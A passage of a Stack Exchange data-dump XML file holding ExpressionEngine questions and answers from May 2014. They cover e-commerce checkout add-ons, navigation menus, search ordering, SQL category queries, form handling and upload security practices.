  <row Id="21760" PostTypeId="1" AcceptedAnswerId="21895" CreationDate="2014-05-07T19:11:12.663" Score="0" ViewCount="43" Body="&lt;p&gt;When a user purchases a product they are redirected to the Home page of: &lt;code&gt;return=&quot;/shop/order_complete/ORDER_HASH&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are also returned to the site logged out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checkout code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout&#xA;    payment_method=&quot;PayPal_Express&quot;&#xA;    return=&quot;/shop/order_complete/ORDER_HASH&quot;&#xA;    next=&quot;/shop/checkout&quot;&#xA;}&#xA;  {!-- usual stuff, removed for example --}&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't see anything in my htaccess file that could be causing this issue.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="730" LastActivityDate="2014-05-13T08:20:16.030" Title="Expresso returning logged out and to the wrong page" Tags="|expresso-store|2.8|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21762" PostTypeId="1" AcceptedAnswerId="21768" CreationDate="2014-05-07T20:58:47.157" Score="0" ViewCount="67" Body="&lt;p&gt;I have the following menu built with Structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure:nav start_from=&quot;/&quot; include_ul=&quot;no&quot; exclude=&quot;10|11|12|13&quot;}&#xA;{/exp:structure:nav}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One of my pages is called &quot;About&quot; and a child page called &quot;Our Team.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that &quot;Our Team&quot; only shows up in navigation when on the &quot;About&quot; or &quot;Our Team&quot; pages.  If I navigate to another page like &quot;Services,&quot; the 2nd level navigation disappears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="2889" LastActivityDate="2014-05-07T23:40:28.873" Title="Child nav item only showing up on parent page in nav menu when using Structure" Tags="|structure|navigation|parent|child|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21763" PostTypeId="2" ParentId="21724" CreationDate="2014-05-07T22:11:56.270" Score="0" Body="&lt;p&gt;The basic implementation of Google Analytics Experiments with redirects is awful IMO. Each version requires its own URL? No thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BUT there are also implementation methods that do not require redirects with both &lt;a href=&quot;https://developers.google.com/analytics/solutions/experiments-client-side&quot; rel=&quot;nofollow&quot;&gt;client side&lt;/a&gt; and &lt;a href=&quot;https://developers.google.com/analytics/solutions/experiments-server-side&quot; rel=&quot;nofollow&quot;&gt;server side&lt;/a&gt; code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've not tried the server side option but the no-redirect javascript one is &lt;em&gt;much&lt;/em&gt; cleaner than the basic one that they lay out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like having all my analytics data in one place which was a big plus for Google Experiments.  I did not extensively evaluate Optimizely.&lt;/p&gt;&#xA;" OwnerUserId="210" LastEditorUserId="210" LastEditDate="2014-08-04T22:26:08.473" LastActivityDate="2014-08-04T22:26:08.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21764" PostTypeId="2" ParentId="21331" CreationDate="2014-05-07T22:20:45.420" Score="0" Body="&lt;p&gt;I want to share my final solution in case anyone else runs across a similar situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal was in two parts:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Identify which entries had their Primary Category equal to one of the Super Search categories from {super_search_category} string.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Move that entry to the top of the search results to bypass the normal sort order.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I accomplished it like this (lots of code removed to show just the relevant parts):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $cats = explode(&quot; &quot;, '{super_search_category}'); ?&amp;gt;&#xA;&#xA;&amp;lt;ul class=&quot;directory&quot;&amp;gt;  &#xA;&#xA;{exp:super_search:results &#xA;    redirect_post=&quot;yes&quot; &#xA;    channel=&quot;directory&quot;&#xA;    status=&quot;Open|Featured&quot; &#xA;    performance=&quot;off&quot; &#xA;    category_indicator=&quot;category_url_title&quot;  &#xA;    search-words-within-words=&quot;yes&quot;&#xA;    inclusive_categories=&quot;yes&quot;&#xA;    orderby=&quot;vendor-group+desc+vip+desc+rating_field-rating+desc+title+asc&quot;&#xA;    search_in=&quot;title|vendor-person|about|extended|address|awards&quot;  &#xA;    inclusive_keywords=&quot;no&quot;  &#xA;    where=&quot;all&quot;  &#xA;    limit=&quot;50&quot;  &#xA;    paginate=&quot;bottom&quot;&#xA;}&#xA;&#xA;    &amp;lt;?php $group = &quot;{vendor-group}&quot;; ?&amp;gt;&#xA;    &amp;lt;?php $primeCat = &quot;{exp:primary_category entry_id='{entry_id}'}{primary_category_url_title}{/exp:primary_category}&quot;; ?&amp;gt;&#xA;&#xA;    &amp;lt;li&#xA;        &amp;lt;?php if ($group == &quot;10 - Platinum&quot; &amp;amp;&amp;amp; in_array($primeCat, $cats) !== false) { ?&amp;gt;&#xA;            data-platinum=&quot;primary-platinum&quot;&#xA;        &amp;lt;?php } ?&amp;gt;&#xA;    &amp;gt;   &#xA;    &amp;lt;/li&amp;gt;&#xA;{/exp:super_search:results}&#xA;&#xA;&amp;lt;/ul&amp;gt;&#xA;&#xA;&amp;lt;script&amp;gt;&#xA;    $(function () {&#xA;        $(&quot;.directory li[data-platinum='primary-platinum']&quot;).prependTo($(&quot;ul.directory&quot;));&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Comparing the search category string to the primary category had to be done with PHP since that tag only works outside the results loop. Even with Stash I couldn't get it to work because of parse order issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After banging my head over multiple ways to try to transplant the entry to the top of the list using NSM Transplant, Stash, Embeds, or extra search results tags, I decided it was far easier to do it on the front-end with javascript! &lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-05-07T22:20:45.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21765" PostTypeId="2" ParentId="21699" CreationDate="2014-05-07T23:19:48.480" Score="1" Body="&lt;p&gt;This is what I ended up doing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT COUNT(entry_id) num_cat_entries&#xA;    FROM&#xA;    (&#xA;            SELECT  entry_id&#xA;            FROM    exp_category_posts&#xA;            WHERE   cat_id IN (31, 73)&#xA;            GROUP   BY entry_id&#xA;            HAVING  COUNT(DISTINCT cat_id ) = 2&#xA;    ) s&quot;&#xA;}&#xA;{if num_cat_entries &amp;gt; 0} show the category link {/if}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="116" LastActivityDate="2014-05-07T23:19:48.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21766" PostTypeId="1" CreationDate="2014-05-07T23:21:43.433" Score="0" ViewCount="67" Body="&lt;p&gt;I'm very new to ExpressionEngine and do not understand how this works. Currently on our site, whenever an event is posted, it gets updated in the &quot;upcoming events&quot; section on the homepage. However, when it has expired it still shows up and doesn't drop off until midnight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, all our events are from 10:30pm - 4am. We want it to drop off at 4am but instead it waits till midnight to drop off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help with that? This is the code that is being used to embed the upcoming events. I didn't create the site, a third party company did and I wasn't hired back then so I have no idea who worked on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt; &#xA; &#xA;  &lt;/p&gt;&#xA;&#xA; &#xA;&#xA; &#xA; &#xA;{embed=&quot;events/.upcoming&quot; limit=&quot;10&quot; dynamic=&quot;off&quot; range_start=&quot;today @ noon&quot;} &#xA; &#xA; &#xA;&#xA; &#xA;&#xA;&lt;p&gt; {!-- end col 12--} &lt;/p&gt;&#xA;&#xA; &#xA;&#xA;&lt;p&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is our website: &lt;a href=&quot;http://1oaklasvegas.com/home&quot; rel=&quot;nofollow&quot;&gt;http://1oaklasvegas.com/home&lt;/a&gt;. The upcoming events scroll part is where I'm having issues with. Where old events that ended early in the morning doesn't fall off until midnight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Amy&lt;/p&gt;&#xA;" OwnerUserId="3076" LastEditorUserId="3076" LastEditDate="2014-05-14T18:24:36.400" LastActivityDate="2014-05-14T18:24:36.400" Title="Solspace Calendar" Tags="|solspace-calendar|events|" AnswerCount="0" CommentCount="17" ContentLicense="CC BY-SA 3.0" />
  <row Id="21767" PostTypeId="2" ParentId="21754" CreationDate="2014-05-07T23:39:10.070" Score="2" Body="&lt;p&gt;Each entry is attached to a single URL, but with something like Freebie you possibly could. You could have an initial channel tag on the main page wrapped in conditionals. This channel tag would have the certain fields you want to show. Then if you appended a random segment on the end that Freebie is ignoring, you could have another channel tag showing the remaining ones.&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2014-05-07T23:39:10.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21768" PostTypeId="2" ParentId="21762" CreationDate="2014-05-07T23:40:28.873" Score="0" Body="&lt;p&gt;Add show_depth=&quot;2&quot; to the nav tag to reveal all children on the second level. Also, remove the end tag, it's not a wrapper.&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2014-05-07T23:40:28.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21769" PostTypeId="1" AcceptedAnswerId="21770" CreationDate="2014-05-08T01:25:01.807" Score="0" ViewCount="21" Body="&lt;p&gt;When comparing FoxyCart's Transaction Datafeed's raw POSTs to any other web service, EE's reception seems totally different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the latest version of EE as of this writing, 2.8.1.&lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="61" LastEditDate="2014-05-08T01:32:43.837" LastActivityDate="2014-05-08T01:32:43.837" Title="Why is my FoxyCart Datafeed getting a different POST than it should?" Tags="|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21770" PostTypeId="2" ParentId="21769" CreationDate="2014-05-08T01:31:32.897" Score="0" Body="&lt;p&gt;Use &lt;code&gt;$_REQUEST&lt;/code&gt; because it remains untouched.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FTR it's not the &lt;code&gt;permitted_uri_chars&lt;/code&gt; config item. The &lt;code&gt;$_POST&lt;/code&gt; and &lt;code&gt;ee()-&amp;gt;input-&amp;gt;post(...)&lt;/code&gt; are cleaned via &lt;code&gt;Input::_clean_input_data&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of hacking core (which is an option, see below) I got the hint to use &lt;code&gt;$_REQUEST&lt;/code&gt; from this CI issue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/EllisLab/CodeIgniter/issues/1136&quot; rel=&quot;nofollow&quot;&gt;https://github.com/EllisLab/CodeIgniter/issues/1136&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2014-05-08T01:31:32.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21771" PostTypeId="1" AcceptedAnswerId="21793" CreationDate="2014-05-08T01:37:27.797" Score="3" ViewCount="140" Body="&lt;p&gt;I know there will always be some level of risk when allowing user-submitted data, but what exactly does EE do natively to filter, validate, and sanitize photo uploads through the standard interface?  Does EE do anything to escape or sanitize photos on output or before doing any other processing?  I'm talking mostly with respect to avatars and the native EE file upload system, particularly pertaining to photos (current EE version 2.8.1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Researching the developer docs, they have the following to say on saving images to server:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Saving Images or Files to the Server&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;When saving images or files to the server, make sure and validate the&#xA;  file type (MIME) and also clean the file name to remove possible&#xA;  naughty characters.&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Sanitize file name: ee()-&gt;security-&gt;sanitize_filename();&lt;/li&gt;&#xA;  &lt;li&gt;Browser provides the MIME type, available in: $_FILES['userfile']['type']&lt;/li&gt;&#xA;  &lt;li&gt;Use the Upload class (ee()-&gt;load-&gt;library('upload', $config);) as it contains methods for validation and sanitizing&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I assume that EE's native file upload functions use the Upload class, but what exactly does the Upload class do to validate and sanitize?  Does it check MIME type using some sort of actual file analysis, or does it simply rely on what the browser reads it as?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone give any particular pointers or best practices in EE photo upload settings or possibly server settings to permissions given to the photo upload folder to maintain the highest level of security?&lt;/p&gt;&#xA;" OwnerUserId="2842" LastEditorUserId="2842" LastEditDate="2014-05-08T01:45:30.317" LastActivityDate="2014-05-08T16:15:17.947" Title="What is the level of risk in enabling user-uploaded photos in EE?" Tags="|ee2|file-uploads|security|validation|uploads|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21772" PostTypeId="2" ParentId="21686" CreationDate="2014-05-08T02:27:44.017" Score="1" Body="&lt;p&gt;It's working, you just have to use the default &lt;em&gt;value&lt;/em&gt;, not the default label.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The clue:&lt;br&gt;&#xA;&lt;code&gt;&amp;lt;option value=&quot;WA&quot;&amp;gt;Washington&amp;lt;/option&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer:&lt;br&gt;&#xA;&lt;strike&gt;&lt;code&gt;default_value=&quot;Washington&quot;&lt;/code&gt;&lt;/strike&gt;&lt;br&gt;&#xA;&lt;code&gt;default_value=&quot;WA&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the win...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {freeform:field:state attr:id=&quot;state&quot; attr:class=&quot;required&quot; default_value=&quot;WA&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="810" LastActivityDate="2014-05-08T02:27:44.017" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21773" PostTypeId="1" AcceptedAnswerId="21790" CreationDate="2014-05-08T02:27:48.557" Score="0" ViewCount="127" Body="&lt;p&gt;Is it possible to use the EE Classes within a template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are they only available for add-on development?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Patrick&lt;/p&gt;&#xA;" OwnerUserId="2212" LastActivityDate="2014-05-08T15:54:30.523" Title="Input Class in template" Tags="|ee|classes|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21774" PostTypeId="1" AcceptedAnswerId="21789" CreationDate="2014-05-08T04:02:07.857" Score="2" ViewCount="270" Body="&lt;p&gt;Is there a specific reason that even the most recent ExpressionEngine installs (as of writing, 2.8.1) are built upon a seemingly outdated version of CodeIgniter (2.0.1), when CI 2.1.4 is available?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And is it possible to manually update that Codeigniter instance to avoid security issues – or does EllisLab use a custom build of CI that should not be tampered with?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Context: A malware scan has listed my ExpressionEngine installs as outdated (and in need for update) because of the version number of Codeigniter install within.)&lt;/p&gt;&#xA;" OwnerUserId="399" LastEditorUserId="399" LastEditDate="2014-05-09T00:33:04.597" LastActivityDate="2014-05-09T00:33:04.597" Title="Codeigniter version within ExpressionEngine outdated? Is it wise to update?" Tags="|ee2|codeigniter|updating|core|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21775" PostTypeId="1" CreationDate="2014-05-08T06:11:04.970" Score="0" ViewCount="36" Body="&lt;p&gt;I'm using Low Alphabet to list songs - so there's a page for A, B, etc. Each page has on average dozens of songs.  The channel type has them broken down into separate fields, so for &quot;Foo (Studio Version)&quot; {song} is &quot;Foo&quot;, {version} is &quot;Studio Version&quot;, &quot;Foo (Perfecto Mix)&quot; has {song} == &quot;Foo&quot;, {version} = &quot;Perfecto Mix&quot;, etc. What I'd like to have displayed is (basically) something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Foo&#xA;* Studio Version&#xA;* Perfecto Mix&#xA;* Live at Somewhere&#xA;&#xA;Bar&#xA;* Studio Version&#xA;* Wub Wub Remix&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where each {version} is displayed under the {song} when the contents of the {song} field match for those entries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems like it should be a fairly straightforward loop for once the contents are sorted, but I'm not having luck. I'm more front-end than scripting, but what I'd be looking for would be something like this in pseudocode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;* while loop to sort by starting letter (low alphabet wrapper)&#xA;* once contents are sorted, iterate through them&#xA;* save {song} to a variable {songcheck}, print {version}.&#xA;* if next entries {song} == {songcheck} print {version}&#xA;* if next entries {song} != {songcheck} rewrite {songcheck} and skip to 3.&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3078" LastEditDate="2014-05-09T21:43:59.350" LastActivityDate="2014-05-09T21:43:59.350" Title="List {field2} of entries under a single {field1} when entries have the same {field1}, then move on" Tags="|fields|loop|low-alphabet|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21776" PostTypeId="2" ParentId="21740" CreationDate="2014-05-08T07:24:43.467" Score="1" Body="&lt;p&gt;Low Yearly Archives isn't specifically compatible with Transcribe. But if the languages can be differentiated by, for example, status, then you can use that parameter to filter the entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, some sort of hack would be required.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-05-08T07:24:43.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21777" PostTypeId="1" CreationDate="2014-05-08T07:29:00.877" Score="0" ViewCount="357" Body="&lt;p&gt;I have an ee site that has tons of forms that are currently live. These forms are submitting data to a third party service using that service's custom submission code (which has nothing to do with ee addon code - I think the service is just using CURL).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to implement additional validation for these forms on the PHP side before I pass the data to the service. I kind of need a middle layer which processes the data I guess. The forms are in plain html and are stored as snippets or low variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not need to save the data. I only need to&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;validate form inputs&lt;/li&gt;&#xA;&lt;li&gt;filter out bad input characters&lt;/li&gt;&#xA;&lt;li&gt;throw back errors and redirect to form if form data is invalid&lt;/li&gt;&#xA;&lt;li&gt;send data to the service if the form is valid&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How should I do this? Should I write a plugin, extension, module? I only need to process the data not build the form. What should I write?&lt;/p&gt;&#xA;" OwnerUserId="811" LastActivityDate="2014-05-08T20:14:51.973" Title="How do I process form data with a php script inside expressionengine?" Tags="|forms|validation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21778" PostTypeId="2" ParentId="21774" CreationDate="2014-05-08T07:33:41.800" Score="6" Body="&lt;p&gt;EllisLab has forked the official CodeIgniter version and are using their own internal one. I highly doubt you can replace this with the official one.&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2014-05-08T07:33:41.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21779" PostTypeId="2" ParentId="21729" CreationDate="2014-05-08T07:55:28.903" Score="0" Body="&lt;p&gt;Currently there is no compatible add-on. Developer tells me there is something in the pipeline.&lt;/p&gt;&#xA;" OwnerUserId="302" LastActivityDate="2014-05-08T07:55:28.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21780" PostTypeId="2" ParentId="21713" CreationDate="2014-05-08T07:55:33.587" Score="1" Body="&lt;p&gt;You can use &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; to zoom in on &quot;today&quot;, and filter out recurring events using &lt;code&gt;{if event_recurs}...{/if}&lt;/code&gt;. Eg.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal date_range_start=&quot;today&quot; date_range_end=&quot;today&quot; pad_short_weeks=&quot;n&quot;}&#xA;    {events}&#xA;        {if event_recurs}&#xA;        {if:else}&#xA;            [{event_id}] {event_title}&amp;lt;br /&amp;gt; /* ...and other event data */&#xA;        {/if}&#xA;    {/events}&#xA;{/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-05-08T07:55:33.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21781" PostTypeId="1" CreationDate="2014-05-08T08:34:57.307" Score="0" ViewCount="106" Body="&lt;p&gt;Wondering if anyone can help me out with this issue I've got. &#xA;Apologies if my terminology is wrong with any of this - It's landed in my lap and I'm trying to get the issues solved without any prior EE or cartthrob knowledge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're using CartThrob with SagePay payment gateway on our website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a customer goes onto our site and makes a purchase, all the information seems to be displayed correctly in the cart (both on cartthrob and sagepay), However once the purchase is completed and the order details are downloaded to Sage 50 Accounts 2014, all of the item details are missing and instead we get just one line item &quot;Purchase from Website&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I spoke to the chaps at SagePay who have told me that we need to add a product code to our line items which will pair up with our product codes in Sage Accounts and then the data will pass through correctly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the following info in some of the SagePay documentation...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In order for the download of transactions within Sage 50 to update a&#xA;  product record the first entry in a basket line needs to be the&#xA;  product code of the item within square brackets.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So seemingly I need to simply add the product code in square brackets to each of the 'items' being purchased, only problem is that I have no idea how to go about doing this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had a good root around ExpressionEngine, specifically in the cartthrob settings. &#xA;I can see our products there, but cant see where I would add the product code info. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain how I would go about doing this, or even just point me in the right direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3079" LastActivityDate="2014-05-08T12:54:44.943" Title="Adding a product code to cart items" Tags="|cartthrob|sagepay|product|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21782" PostTypeId="2" ParentId="21708" CreationDate="2014-05-08T09:18:53.317" Score="2" Body="&lt;p&gt;Most often the cause for this is that one of the JS files you're trying to use does not exist (at least from Minimee's point of view).  As Alex suggested, if you turn on EE's template debugging, Minimee will add errors to the log. Search for the string &quot;Minimee [ERROR]&quot; to jump right to where it's encountering a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you install the EE Debug Toolbar, Minimee adds its own panel of log messages, so it is even simpler to track down what might be amiss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feel free to hit me up direct via twitter (@johndwells) if you're still having trouble, or the devot-ee forums if it looks like there's a bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;John&lt;/p&gt;&#xA;" OwnerUserId="486" LastActivityDate="2014-05-08T09:18:53.317" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21783" PostTypeId="1" CreationDate="2014-05-08T09:40:20.107" Score="1" ViewCount="244" Body="&lt;p&gt;First Store project underway for a UK store charging VAT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm (probably) going to enter prices ex-VAT into the database as they do ship internationally, but I generally want to display them inc-VAT throughout the site. The only place I'm likely to split things out is in the checkout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a &quot;best practice&quot; for this? I've got my VAT setup and UK is the default country, but I can't figure out how to add tax to the price displayed using a {store_field:price} tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quite happy to get my hands dirty with add-ons/extensions etc, but not if I don't have to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="3080" LastActivityDate="2014-05-08T15:13:07.953" Title="Expresso Store: Display price including tax from channel:entries tag" Tags="|expresso-store|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21784" PostTypeId="2" ParentId="21781" CreationDate="2014-05-08T12:04:51.077" Score="1" Body="&lt;p&gt;How you do this will depend on the fields you have for your product code. If you're using the title field, then this will automatically be carried across to your orders. If you're using a different field for example something like &lt;em&gt;{product_sku}&lt;/em&gt;, then you'll need to carry this over into your orders channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can collect any custom data for products as they're added to the cart in Cart Throb.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in your add to basket form (most likely a &lt;em&gt;{exp:cartthrob:add_to_cart_form}&lt;/em&gt; tag, include the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;item_options[sage_code]&quot; value=&quot;{product_sku}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The name here can be anything you like, but it needs to be prefixed with &lt;em&gt;item_options&lt;/em&gt;. This will ensure is attached to the ordered products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If by some chance you're using &lt;em&gt;{exp:cartthrob:multi_add_to_cart_form}&lt;/em&gt;, you'd need to modify your hidden field to include a &lt;em&gt;{row_id}&lt;/em&gt; to ensure the product code is attached to the correct item within the order.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;item_options[{row_id}][sage_code]&quot; value=&quot;{product_sku}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That deals with adding your product codes to the order data, but then getting this information out of Cart Throb can be a little harder because of the way the data is stored in the database. Its serialised and Base 64 encoded, so there's a little bit of leg work needed if you need anything other than the built in reports - although I'm not familiar with import requirements with for Sage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've had to create some bespoke reports on a couple of occasions, so have some experience of this if you need any additional guidance.&lt;/p&gt;&#xA;" OwnerUserId="1287" LastEditorUserId="1287" LastEditDate="2014-05-08T12:54:44.943" LastActivityDate="2014-05-08T12:54:44.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21785" PostTypeId="2" ParentId="21777" CreationDate="2014-05-08T12:39:50.497" Score="3" Body="&lt;p&gt;You don't need to run this through EE at all if you don't want to. Simply create your PHP script outside of EE's templates and have the form post its data there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did something very similar to what you need recently to send data from a contact form to a CRM system. They supplied a ready made PHP script (which used CURL) to get the data to the CRM. I just set my form to post to the script they gave me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: &#xA;Here's my htaccess redirect rule in case you have a problem&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php?/$1 [L]&#xA;Options All -Indexes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-05-08T20:14:51.973" LastActivityDate="2014-05-08T20:14:51.973" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21786" PostTypeId="2" ParentId="18014" CreationDate="2014-05-08T13:31:44.110" Score="2" Body="&lt;p&gt;I like to use &lt;a href=&quot;http://devot-ee.com/add-ons/custom-system-messages&quot; rel=&quot;nofollow&quot;&gt;Custom System Messages&lt;/a&gt; to avoid the EE default pages.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-05-08T13:31:44.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
